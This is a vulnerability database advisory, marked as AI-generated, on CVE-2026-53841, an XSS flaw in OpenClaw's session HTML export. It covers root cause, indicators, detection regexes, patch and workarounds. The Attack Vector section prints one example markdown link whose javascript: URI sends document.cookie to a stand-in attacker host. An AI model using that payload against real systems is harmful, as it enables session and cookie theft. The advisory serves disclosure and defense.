Skip to main content
CVE Vulnerability Database
Vulnerability Database/CVE-2026-53841

CVE-2026-53841: Openclaw XSS Vulnerability

CVE-2026-53841 is a cross-site scripting flaw in Openclaw that allows attackers to execute malicious scripts through exported session HTML files. This article covers the technical details, affected versions, and mitigation.

Published:

CVE-2026-53841 Overview

CVE-2026-53841 is a cross-site scripting (XSS) vulnerability in OpenClaw versions prior to 2026.5.12. The flaw resides in the exported session HTML feature, which preserves unsafe javascript: and data: URI schemes in generated markdown links. When a trusted operator opens an exported session file and activates a malicious link, attacker-controlled script executes in the browser context. The vulnerability is tracked under CWE-83: Improper Neutralization of Script in Attributes in a Web Page and was disclosed through a GitHub Security Advisory.

Critical Impact

Attackers can execute arbitrary browser-side scripts in the context of a trusted operator viewing an exported OpenClaw session HTML file, enabling session theft or further client-side abuse.

Affected Products

  • OpenClaw versions prior to 2026.5.12
  • OpenClaw 2026.5.12 beta1 through beta8 releases
  • OpenClaw Node.js distribution packages

Discovery Timeline

  • 2026-06-16 - CVE-2026-53841 published to NVD
  • 2026-06-17 - Last updated in NVD database

Technical Details for CVE-2026-53841

Vulnerability Analysis

OpenClaw exports session data as HTML reports that include markdown-rendered links. The export pipeline does not sanitize URL schemes when converting markdown links to anchor (<a href="...">) elements. Links using the javascript: scheme execute embedded code when clicked, and data: URIs can deliver arbitrary HTML or scripts inline. Because the exported file is intended for operator review, the attacker leverages the trust an analyst places in the report. Attack execution requires user interaction in the form of a click on the malicious link inside the rendered HTML file.

Root Cause

The root cause is an allowlist failure in the markdown-to-HTML rendering routine that handles session export. Standard mitigations recommend rejecting non-http, non-https, and non-mailto schemes when emitting anchor href attributes. OpenClaw's exporter retained the raw URL value provided in session content, including javascript: and data: schemes. The result is a stored-style XSS that surfaces only when the report is opened locally or hosted on a viewing server.

Attack Vector

An attacker injects a malicious markdown link, such as [Click here](javascript:fetch('//attacker/?c='+document.cookie)), into any session field that is later included in an exported report. When an operator opens the exported HTML and clicks the link, the browser evaluates the script in the file's origin. Hosted exports inherit the hosting domain's origin, which expands the impact to cookies and tokens scoped to that origin. Refer to the VulnCheck Advisory on XSS for additional technical detail.

Detection Methods for CVE-2026-53841

Indicators of Compromise

  • Exported OpenClaw session HTML files containing anchor tags with href values starting with javascript: or data:.
  • Outbound browser requests from operator workstations to unfamiliar domains immediately after opening an exported session report.
  • Session content fields with markdown links whose URL portion does not begin with http://, https://, or mailto:.

Detection Strategies

  • Scan archived export directories with a regex such as href="(javascript|data): to surface tainted reports.
  • Inspect OpenClaw session storage for markdown link patterns referencing non-standard URI schemes before export.
  • Correlate operator browser process telemetry with local HTML file opens to spot script execution following a report view.

Monitoring Recommendations

  • Forward endpoint browser and process telemetry to a centralized analytics pipeline for review of anomalous child processes spawned by browsers opening local files.
  • Alert on DNS or HTTP egress to newly observed domains within a short window after *.html files are opened from OpenClaw export paths.
  • Track integrity of the OpenClaw installation directory to confirm operators run a patched build at or above 2026.5.12.

How to Mitigate CVE-2026-53841

Immediate Actions Required

  • Upgrade OpenClaw to version 2026.5.12 or later on all systems that generate or render session exports.
  • Quarantine and review previously generated export HTML files for javascript: and data: URI schemes before redistribution.
  • Restrict who can submit content into OpenClaw sessions to limit injection opportunities until the patch is applied.

Patch Information

The maintainers addressed the issue in OpenClaw 2026.5.12. The patched exporter rejects or neutralizes link schemes other than http, https, and mailto before rendering. See the GitHub Security Advisory GHSA-w9hf-3pp7-pvxv for the full fix description and affected version range.

Workarounds

  • Open exported session HTML files only in an isolated browser profile or sandbox with no access to production cookies and tokens.
  • Pre-process exported HTML with a sanitizer such as DOMPurify or a server-side allowlist filter that strips disallowed URI schemes from anchor href attributes.
  • Disable scripting in the viewer by serving exports with a strict Content-Security-Policy header that forbids inline scripts and non-http(s) schemes.

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.